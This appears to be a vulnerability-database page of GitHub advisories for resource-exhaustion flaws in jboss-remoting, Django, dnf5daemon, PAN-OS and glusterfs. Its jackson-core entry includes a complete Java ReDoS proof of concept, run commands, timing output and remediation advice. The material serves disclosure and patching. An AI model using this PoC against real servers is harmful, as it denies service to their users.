Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

6489 vulnerabilities reference this CWE, most recent first.

GHSA-P6J8-HGV5-M35G

Vulnerability from github – Published: 2022-03-18 17:58 – Updated: 2022-03-18 17:58
VLAI
Summary
Uncontrolled Resource Consumption in jboss-remoting
Details

A flaw was found in jboss-remoting in versions before 5.0.20.SP1-redhat-00001. A malicious attacker could cause threads to hold up forever in the EJB server by writing a sequence of bytes corresponding to the expected messages of a successful EJB client request, but omitting the ACK messages, or just tamper with jboss-remoting code, deleting the lines that send the ACK message from the EJB client code resulting in a denial of service. The highest threat from this vulnerability is to system availability.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.0.19.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jboss.remoting:jboss-remoting"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.0.20.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-35510"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-06-03T20:38:29Z",
    "nvd_published_at": "2021-06-02T14:15:00Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in jboss-remoting in versions before 5.0.20.SP1-redhat-00001. A malicious attacker could cause threads to hold up forever in the EJB server by writing a sequence of bytes corresponding to the expected messages of a successful EJB client request, but omitting the ACK messages, or just tamper with jboss-remoting code, deleting the lines that send the ACK message from the EJB client code resulting in a denial of service. The highest threat from this vulnerability is to system availability.",
  "id": "GHSA-p6j8-hgv5-m35g",
  "modified": "2022-03-18T17:58:30Z",
  "published": "2022-03-18T17:58:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35510"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1905796"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Uncontrolled Resource Consumption in jboss-remoting"
}

GHSA-P6M5-H7PP-V2X5

Vulnerability from github – Published: 2022-05-02 03:47 – Updated: 2024-09-16 21:57
VLAI
Summary
Django Regex Algorithmic Complexity Causes Denial of Service
Details

Algorithmic complexity vulnerability in the forms library in Django 1.0 before 1.0.4 and 1.1 before 1.1.1 allows remote attackers to cause a denial of service (CPU consumption) via a crafted (1) EmailField (email address) or (2) URLField (URL) that triggers a large amount of backtracking in a regular expression.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Django"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0"
            },
            {
              "fixed": "1.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Django"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.1"
            },
            {
              "fixed": "1.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2009-3695"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-08T22:00:20Z",
    "nvd_published_at": "2009-10-13T10:30:00Z",
    "severity": "HIGH"
  },
  "details": "Algorithmic complexity vulnerability in the forms library in Django 1.0 before 1.0.4 and 1.1 before 1.1.1 allows remote attackers to cause a denial of service (CPU consumption) via a crafted (1) EmailField (email address) or (2) URLField (URL) that triggers a large amount of backtracking in a regular expression.",
  "id": "GHSA-p6m5-h7pp-v2x5",
  "modified": "2024-09-16T21:57:14Z",
  "published": "2022-05-02T03:47:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-3695"
    },
    {
      "type": "WEB",
      "url": "https://github.com/django/django/commit/594a28a9044120bed58671dde8a805c9e0f6c79a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/django/django/commit/e3e992e18b368fcd56aabafc1b5bf80a6e11b495"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/53727"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/django/django"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2009-4.yaml"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20091013093057/http://secunia.com/advisories/36968"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20091017070244/http://secunia.com/advisories/36948"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20200228171918/http://www.securityfocus.com/bid/36655"
    },
    {
      "type": "WEB",
      "url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=550457"
    },
    {
      "type": "WEB",
      "url": "http://groups.google.com/group/django-users/browse_thread/thread/15df9e45118dfc51"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2009/dsa-1905"
    },
    {
      "type": "WEB",
      "url": "http://www.djangoproject.com/weblog/2009/oct/09/security"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2009/10/13/6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Django Regex Algorithmic Complexity Causes Denial of Service"
}

GHSA-P6MC-XXVV-R37F

Vulnerability from github – Published: 2024-05-08 03:30 – Updated: 2024-05-08 03:30
VLAI
Details

No Limit on Number of Open Sessions / Bad Session Close Behaviour in dnf5daemon-server before 5.1.17 allows a malicious user to impact Availability via No Limit on Number of Open Sessions.

There is no limit on how many sessions D-Bus clients may create using the open_session() D-Bus method. For each session a thread is created in dnf5daemon-server. This spends a couple of hundred megabytes of memory in the process. Further connections will become impossible, likely because no more threads can be spawned by the D-Bus service.

Severity
6.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-1930"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-08T02:15:09Z",
    "severity": "MODERATE"
  },
  "details": "No Limit on Number of Open Sessions / Bad Session Close Behaviour  in dnf5daemon-server before 5.1.17 allows a malicious user to impact Availability via\u00a0No Limit on Number of Open Sessions.\n\nThere is no limit on how many sessions D-Bus clients may create using the `open_session()` D-Bus method.\u00a0For each session a thread is created in dnf5daemon-server. This spends a couple of hundred megabytes of memory in the process. Further connections will become impossible, likely because no more threads can be spawned by the D-Bus service.\n\n",
  "id": "GHSA-p6mc-xxvv-r37f",
  "modified": "2024-05-08T03:30:37Z",
  "published": "2024-05-08T03:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1930"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2024/03/04/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P6PP-M3F8-5C89

Vulnerability from github – Published: 2026-10-01 15:19 – Updated: 2026-10-01 15:19
VLAI
Summary
jackson-core: ReDoS: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber()
Details

Status

FULLY REPRODUCED with a clean, textbook empirical signature: measured runtime grew almost exactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000 characters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical HTTP request body) took 74.4 seconds for one call to NumberInput.looksLikeValidNumber().

Affected Component / Version

  • Package: com.fasterxml.jackson.core:jackson-core
  • Confirmed against: jackson-core-2.20.2
  • Affected file: src/main/java/com/fasterxml/jackson/core/io/NumberInput.java (PATTERN_FLOAT line ~41-42, PATTERN_FLOAT_TRAILING_DOT line ~51, entry point looksLikeValidNumber() lines ~646-656)

Technical Analysis

private final static Pattern PATTERN_FLOAT = Pattern.compile(
      "[+-]?[0-9]*[\\.]?[0-9]+([eE][+-]?[0-9]+)?");

private final static Pattern PATTERN_FLOAT_TRAILING_DOT = Pattern.compile(
        "[+-]?[0-9]+[\\.]");

public static boolean looksLikeValidNumber(final String s) {
    // ... short-circuits only for null/empty/length==1 ...
    return PATTERN_FLOAT.matcher(s).matches()
            || PATTERN_FLOAT_TRAILING_DOT.matcher(s).matches();
}

PATTERN_FLOAT contains ambiguous, adjacent quantifiers over the identical character class: [0-9]* (optional digits), an optional [.], then [0-9]+ (required digits). Java's backtracking Pattern/Matcher engine has no possessive quantifiers or atomic grouping here, so on a non-matching input the engine must explore every possible split point between the [0-9]* and [0-9]+ groups before concluding failure — the classic quadratic-backtracking shape. looksLikeValidNumber() compounds the cost by running a second full-string regex (PATTERN_FLOAT_TRAILING_DOT) whenever the first fails, roughly doubling the constant factor without changing the asymptotic class.

Critically, the length gate that applies to this specific path is StreamReadConstraints.maxStringLength (default 20,000,000), not maxNumberLength (default 1,000) — the length ceiling the library uses everywhere else for numeric content. This means inputs up to four orders of magnitude larger than the library's own numeric-length policy reach this quadratic regex unmodified.

Reproduction Procedure

Same clone/build steps as jackson-core_1_...md. Then:

CP="build/classes:build/lib/fastdoubleparser-2.0.1.jar"
javac -cp "$CP" -d poc poc/PoC8_NumberInputReDoS.java
java -cp "poc:$CP" PoC8_NumberInputReDoS

Full PoC Source (poc/PoC8_NumberInputReDoS.java)

import com.fasterxml.jackson.core.io.NumberInput;

public class PoC8_NumberInputReDoS {

    public static void main(String[] args) {
        int[] sizes = {5_000, 10_000, 20_000, 40_000, 80_000, 160_000};
        long[] timesMs = new long[sizes.length];

        System.out.println("Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:\n");

        for (int i = 0; i < sizes.length; i++) {
            int n = sizes[i];
            String s = repeat('1', n) + "x";

            if (i == 0) {
                NumberInput.looksLikeValidNumber(repeat('1', 200) + "x"); // warm up
            }

            long t0 = System.nanoTime();
            boolean result = NumberInput.looksLikeValidNumber(s);
            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;
            timesMs[i] = elapsedMs;

            System.out.printf("n=%-8d looksLikeValidNumber=%-6b elapsed=%6d ms%n", n, result, elapsedMs);
        }

        System.out.println("\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):");
        boolean quadraticSignatureObserved = false;
        for (int i = 1; i < sizes.length; i++) {
            double ratio = timesMs[i - 1] == 0 ? Double.NaN : (double) timesMs[i] / (double) timesMs[i - 1];
            System.out.printf("  n=%d -> n=%d : %dms -> %dms  (ratio=%.2fx)%n",
                    sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio);
            if (ratio >= 3.0) quadraticSignatureObserved = true;
        }

        System.out.println("\nLargest test (n=" + sizes[sizes.length - 1] + ") took " + timesMs[timesMs.length - 1]
                + " ms for a single call from ONE HTTP-body-sized string.");
        System.out.println("\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULT_MAX_STRING_LENGTH (20,000,000) "
                + "governs this path, not maxNumberLength (1,000).");

        if (quadraticSignatureObserved) {
            System.out.println("\n=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent "
                    + "with quadratic backtracking in PATTERN_FLOAT on non-matching input.");
        }
    }

    static String repeat(char c, int n) {
        char[] arr = new char[n];
        java.util.Arrays.fill(arr, c);
        return new String(arr);
    }
}

Captured Evidence (actual run output)

Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:

n=5000     looksLikeValidNumber=false  elapsed=    74 ms
n=10000    looksLikeValidNumber=false  elapsed=   306 ms
n=20000    looksLikeValidNumber=false  elapsed=  1157 ms
n=40000    looksLikeValidNumber=false  elapsed=  4655 ms
n=80000    looksLikeValidNumber=false  elapsed= 18592 ms
n=160000   looksLikeValidNumber=false  elapsed= 74393 ms

Ratio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):
  n=5000 -> n=10000 : 74ms -> 306ms  (ratio=4.14x)
  n=10000 -> n=20000 : 306ms -> 1157ms  (ratio=3.78x)
  n=20000 -> n=40000 : 1157ms -> 4655ms  (ratio=4.02x)
  n=40000 -> n=80000 : 4655ms -> 18592ms  (ratio=3.99x)
  n=80000 -> n=160000 : 18592ms -> 74393ms  (ratio=4.00x)

Largest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string.

=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent with quadratic
backtracking in PATTERN_FLOAT on non-matching input.

This is an unusually clean empirical result: five consecutive doublings each produced a ratio between 3.78x and 4.14x — matching the theoretical O(n²) prediction (ratio = 4.0x) to within 5% at every single measurement, leaving essentially no ambiguity about the complexity class. Extrapolating this measured curve, a ~1MB string (well within common request body limits) would take on the order of hours for a single call.

Impact

Any application that coerces a String-typed JSON field to a number (default jackson-databind behavior) is exposed: an attacker who can submit a large numeric-looking string (up to maxStringLength's default of 20,000,000 characters — far larger than needed given the measured curve) can pin a request-handling thread for an extended period with a single request. Because the cost scales quadratically, a handful of concurrent moderately-sized requests (tens to low hundreds of KB each) is sufficient to exhaust a typical web server's worker thread pool, denying service to all users.

Remediation

  1. Rewrite PATTERN_FLOAT without quantifier ambiguity using possessive quantifiers, e.g. [+-]?(?:[0-9]++(?:\.[0-9]*+)?|\.[0-9]++)(?:[eE][+-]?[0-9]++)?, which also folds in the trailing-dot case and removes the need for a second full-string scan.
  2. Better: replace the regex entirely with a single-pass hand-written character scan — the same file already contains exactly this pattern for parseInt, so the library has both the precedent and the code style available.
  3. Apply an independent length limit (maxNumberLength, not the much larger maxStringLength) before calling looksLikeValidNumber(), closing the four-orders-of- magnitude gap between the two constraints for this specific code path.
  4. Operationally, until fixed: tighten StreamReadConstraints.maxStringLength well below its default, and set wall-clock timeouts on parse/coercion operations.
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.18.10"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.17.0"
            },
            {
              "fixed": "2.18.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.21.6"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.19.0"
            },
            {
              "fixed": "2.21.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.22.2"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.22.0"
            },
            {
              "fixed": "2.22.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.6"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.2.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "fixed": "3.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-89407"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-01T15:19:21Z",
    "nvd_published_at": "2026-09-22T15:17:21Z",
    "severity": "HIGH"
  },
  "details": "## Status\n\n**FULLY REPRODUCED** with a clean, textbook empirical signature: measured runtime grew almost\nexactly 4x for every doubling of input size across five consecutive doublings (5,000 \u2192 160,000\ncharacters), confirming O(n\u00b2) behavior. A single 160,000-character string (smaller than a typical\nHTTP request body) took **74.4 seconds** for one call to `NumberInput.looksLikeValidNumber()`.\n\n## Affected Component / Version\n\n- **Package:** `com.fasterxml.jackson.core:jackson-core`\n- **Confirmed against:** `jackson-core-2.20.2`\n- **Affected file:** `src/main/java/com/fasterxml/jackson/core/io/NumberInput.java`\n  (`PATTERN_FLOAT` line ~41-42, `PATTERN_FLOAT_TRAILING_DOT` line ~51, entry point\n  `looksLikeValidNumber()` lines ~646-656)\n\n## Technical Analysis\n\n```java\nprivate final static Pattern PATTERN_FLOAT = Pattern.compile(\n      \"[+-]?[0-9]*[\\\\.]?[0-9]+([eE][+-]?[0-9]+)?\");\n\nprivate final static Pattern PATTERN_FLOAT_TRAILING_DOT = Pattern.compile(\n        \"[+-]?[0-9]+[\\\\.]\");\n\npublic static boolean looksLikeValidNumber(final String s) {\n    // ... short-circuits only for null/empty/length==1 ...\n    return PATTERN_FLOAT.matcher(s).matches()\n            || PATTERN_FLOAT_TRAILING_DOT.matcher(s).matches();\n}\n```\n\n`PATTERN_FLOAT` contains ambiguous, adjacent quantifiers over the identical character class:\n`[0-9]*` (optional digits), an optional `[.]`, then `[0-9]+` (required digits). Java\u0027s\nbacktracking `Pattern`/`Matcher` engine has no possessive quantifiers or atomic grouping here,\nso on a non-matching input the engine must explore every possible split point between the\n`[0-9]*` and `[0-9]+` groups before concluding failure \u2014 the classic quadratic-backtracking\nshape. `looksLikeValidNumber()` compounds the cost by running a **second** full-string regex\n(`PATTERN_FLOAT_TRAILING_DOT`) whenever the first fails, roughly doubling the constant factor\nwithout changing the asymptotic class.\n\nCritically, the length gate that applies to this specific path is\n`StreamReadConstraints.maxStringLength` (default **20,000,000**), not `maxNumberLength`\n(default **1,000**) \u2014 the length ceiling the library uses everywhere else for numeric content.\nThis means inputs up to four orders of magnitude larger than the library\u0027s own numeric-length\npolicy reach this quadratic regex unmodified.\n\n## Reproduction Procedure\n\nSame clone/build steps as `jackson-core_1_...md`. Then:\n\n```bash\nCP=\"build/classes:build/lib/fastdoubleparser-2.0.1.jar\"\njavac -cp \"$CP\" -d poc poc/PoC8_NumberInputReDoS.java\njava -cp \"poc:$CP\" PoC8_NumberInputReDoS\n```\n\n## Full PoC Source (`poc/PoC8_NumberInputReDoS.java`)\n\n```java\nimport com.fasterxml.jackson.core.io.NumberInput;\n\npublic class PoC8_NumberInputReDoS {\n\n    public static void main(String[] args) {\n        int[] sizes = {5_000, 10_000, 20_000, 40_000, 80_000, 160_000};\n        long[] timesMs = new long[sizes.length];\n\n        System.out.println(\"Timing NumberInput.looksLikeValidNumber(\u003cn ones\u003e + \u0027x\u0027) for growing n:\\n\");\n\n        for (int i = 0; i \u003c sizes.length; i++) {\n            int n = sizes[i];\n            String s = repeat(\u00271\u0027, n) + \"x\";\n\n            if (i == 0) {\n                NumberInput.looksLikeValidNumber(repeat(\u00271\u0027, 200) + \"x\"); // warm up\n            }\n\n            long t0 = System.nanoTime();\n            boolean result = NumberInput.looksLikeValidNumber(s);\n            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n            timesMs[i] = elapsedMs;\n\n            System.out.printf(\"n=%-8d looksLikeValidNumber=%-6b elapsed=%6d ms%n\", n, result, elapsedMs);\n        }\n\n        System.out.println(\"\\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):\");\n        boolean quadraticSignatureObserved = false;\n        for (int i = 1; i \u003c sizes.length; i++) {\n            double ratio = timesMs[i - 1] == 0 ? Double.NaN : (double) timesMs[i] / (double) timesMs[i - 1];\n            System.out.printf(\"  n=%d -\u003e n=%d : %dms -\u003e %dms  (ratio=%.2fx)%n\",\n                    sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio);\n            if (ratio \u003e= 3.0) quadraticSignatureObserved = true;\n        }\n\n        System.out.println(\"\\nLargest test (n=\" + sizes[sizes.length - 1] + \") took \" + timesMs[timesMs.length - 1]\n                + \" ms for a single call from ONE HTTP-body-sized string.\");\n        System.out.println(\"\\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULT_MAX_STRING_LENGTH (20,000,000) \"\n                + \"governs this path, not maxNumberLength (1,000).\");\n\n        if (quadraticSignatureObserved) {\n            System.out.println(\"\\n=\u003e REPRODUCED: superlinear (\u003e=3x per doubling) time growth observed, consistent \"\n                    + \"with quadratic backtracking in PATTERN_FLOAT on non-matching input.\");\n        }\n    }\n\n    static String repeat(char c, int n) {\n        char[] arr = new char[n];\n        java.util.Arrays.fill(arr, c);\n        return new String(arr);\n    }\n}\n```\n\n## Captured Evidence (actual run output)\n\n```\nTiming NumberInput.looksLikeValidNumber(\u003cn ones\u003e + \u0027x\u0027) for growing n:\n\nn=5000     looksLikeValidNumber=false  elapsed=    74 ms\nn=10000    looksLikeValidNumber=false  elapsed=   306 ms\nn=20000    looksLikeValidNumber=false  elapsed=  1157 ms\nn=40000    looksLikeValidNumber=false  elapsed=  4655 ms\nn=80000    looksLikeValidNumber=false  elapsed= 18592 ms\nn=160000   looksLikeValidNumber=false  elapsed= 74393 ms\n\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):\n  n=5000 -\u003e n=10000 : 74ms -\u003e 306ms  (ratio=4.14x)\n  n=10000 -\u003e n=20000 : 306ms -\u003e 1157ms  (ratio=3.78x)\n  n=20000 -\u003e n=40000 : 1157ms -\u003e 4655ms  (ratio=4.02x)\n  n=40000 -\u003e n=80000 : 4655ms -\u003e 18592ms  (ratio=3.99x)\n  n=80000 -\u003e n=160000 : 18592ms -\u003e 74393ms  (ratio=4.00x)\n\nLargest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string.\n\n=\u003e REPRODUCED: superlinear (\u003e=3x per doubling) time growth observed, consistent with quadratic\nbacktracking in PATTERN_FLOAT on non-matching input.\n```\n\nThis is an unusually clean empirical result: five consecutive doublings each produced a ratio\nbetween 3.78x and 4.14x \u2014 matching the theoretical O(n\u00b2) prediction (ratio = 4.0x) to within\n5% at every single measurement, leaving essentially no ambiguity about the complexity class.\nExtrapolating this measured curve, a ~1MB string (well within common request body limits) would\ntake on the order of hours for a single call.\n\n## Impact\n\nAny application that coerces a String-typed JSON field to a number (default `jackson-databind`\nbehavior) is exposed: an attacker who can submit a large numeric-looking string (up to\n`maxStringLength`\u0027s default of 20,000,000 characters \u2014 far larger than needed given the\nmeasured curve) can pin a request-handling thread for an extended period with a single request.\nBecause the cost scales quadratically, a handful of concurrent moderately-sized requests\n(tens to low hundreds of KB each) is sufficient to exhaust a typical web server\u0027s worker thread\npool, denying service to all users.\n\n## Remediation\n\n1. Rewrite `PATTERN_FLOAT` without quantifier ambiguity using possessive quantifiers, e.g.\n   `[+-]?(?:[0-9]++(?:\\.[0-9]*+)?|\\.[0-9]++)(?:[eE][+-]?[0-9]++)?`, which also folds in the\n   trailing-dot case and removes the need for a second full-string scan.\n2. Better: replace the regex entirely with a single-pass hand-written character scan \u2014 the same\n   file already contains exactly this pattern for `parseInt`, so the library has both the\n   precedent and the code style available.\n3. Apply an independent length limit (`maxNumberLength`, not the much larger\n   `maxStringLength`) before calling `looksLikeValidNumber()`, closing the four-orders-of-\n   magnitude gap between the two constraints for this specific code path.\n4. Operationally, until fixed: tighten `StreamReadConstraints.maxStringLength` well below its\n   default, and set wall-clock timeouts on parse/coercion operations.",
  "id": "GHSA-p6pp-m3f8-5c89",
  "modified": "2026-10-01T15:19:22Z",
  "published": "2026-10-01T15:19:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-p6pp-m3f8-5c89"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-89407"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/issues/1649"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/pull/1650"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/pull/1701"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/commit/731e794f62623aa0d86ced52490166be903fbb1d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/commit/e7acd64cc99bd346704423dc2bfea1ab0a08ddff"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": " jackson-core: ReDoS: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber()"
}

GHSA-P6RM-V297-GPF4

Vulnerability from github – Published: 2025-03-12 21:31 – Updated: 2025-10-22 21:31
VLAI
Details

A Denial of Service (DoS) vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software enables an unauthenticated attacker to render the service unavailable by sending a large number of specially crafted packets over a period of time. This issue affects both the GlobalProtect portal and the GlobalProtect gateway.

This issue does not apply to Cloud NGFWs or Prisma Access software.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.2 (High)
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/AU:N/R:U/V:C/U:Amber
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-0114"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-12T19:15:37Z",
    "severity": "HIGH"
  },
  "details": "A Denial of Service (DoS) vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software enables an unauthenticated attacker to render the service unavailable by sending a large number of specially crafted packets over a period of time. This issue affects both the GlobalProtect portal and the GlobalProtect gateway.\n\nThis issue does not apply to Cloud NGFWs or Prisma Access software.",
  "id": "GHSA-p6rm-v297-gpf4",
  "modified": "2025-10-22T21:31:18Z",
  "published": "2025-03-12T21:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0114"
    },
    {
      "type": "WEB",
      "url": "https://security.paloaltonetworks.com/CVE-2025-0114"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:U/V:C/RE:X/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-P6W5-MV25-26MV

Vulnerability from github – Published: 2022-05-13 01:04 – Updated: 2022-05-13 01:04
VLAI
Details

A flaw was found in glusterfs server through versions 4.1.4 and 3.1.2 which allowed repeated usage of GF_META_LOCK_KEY xattr. A remote, authenticated attacker could use this flaw to create multiple locks for single inode by using setxattr repetitively resulting in memory exhaustion of glusterfs server node.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-14660"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-11-01T14:29:00Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in glusterfs server through versions 4.1.4 and 3.1.2 which allowed repeated usage of GF_META_LOCK_KEY xattr. A remote, authenticated attacker could use this flaw to create multiple locks for single inode by using setxattr repetitively resulting in memory exhaustion of glusterfs server node.",
  "id": "GHSA-p6w5-mv25-26mv",
  "modified": "2022-05-13T01:04:43Z",
  "published": "2022-05-13T01:04:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14660"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:3431"
    },
    {
      "type": "WEB",
